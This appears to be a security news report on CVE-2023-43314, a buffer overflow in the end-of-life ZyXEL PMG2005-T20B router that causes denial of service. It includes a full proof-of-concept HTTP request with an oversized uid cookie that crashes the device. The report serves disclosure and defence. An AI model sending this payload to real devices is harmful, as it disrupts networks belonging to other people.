ZYXEL has been discovered with a Buffer Overflow vulnerability on their ZYXEL-PMG2005-T20B device, which can result in a denial-of-service condition. This condition exists due to improper sanitization of user-supplied input on their HTTP request.

Zyxel is a Taiwanese multinational company that manufactures several networking products like Routers, DSL CPE, WiFi Systems, 5G NR/4G LTE CPE, Carrier and Access Switches, Network Extenders, and Network Management devices.

Technical Analysis

A threat actor can exploit this vulnerability by providing a crafted script to the uid parameter in the cgi-bin/login.asp, leading to a Buffer Overflow, eventually causing the DoS condition. This vulnerability has been assigned with the CVE as CVE-2023-43314, and the severity is being analyzed.



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This vulnerability arises in the ZYXEL-PMG2005-T20B product when the number of admin in the uid exceeds the maximum threshold of 50, which crashes the application when parsed in the backend. Additionally, the COOKIE header in the HTTP request is supplied with a SESSIONID parameter for creating a valid session with the ZYXEL product.

However, further analysis revealed that the ZYXEL-PMG2005-T20B product has reached End-of-Life as per the ZyXEL website. 

End-of-Life (Source: Cyber Security News)

The researcher created an HTTP request to replicate this vulnerability with the following parameters and values.

GET /cgi-bin/index.asp HTTP/1.1
Host: {HOST IP}
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://{HOST IP}/cgi-bin/login.asp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: SESSIONID=4450a48a; uid=adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin; psw=1234
Connection: close

This request to the ZyXEL product causes the Buffer Overflow due to the number of admin thresholds resulting in the Denial of Service condition. In addition to this, more than 20 URLs were listed by the security researcher, which were affected by the same vulnerability.

A GitHub repository, along with the proof-of-concept was published, which provides detailed information about this vulnerability, its existence, and other information. 

Users of this ZyXEL product are recommended to upgrade to the latest version of the product in order to prevent this vulnerability from getting exploited.

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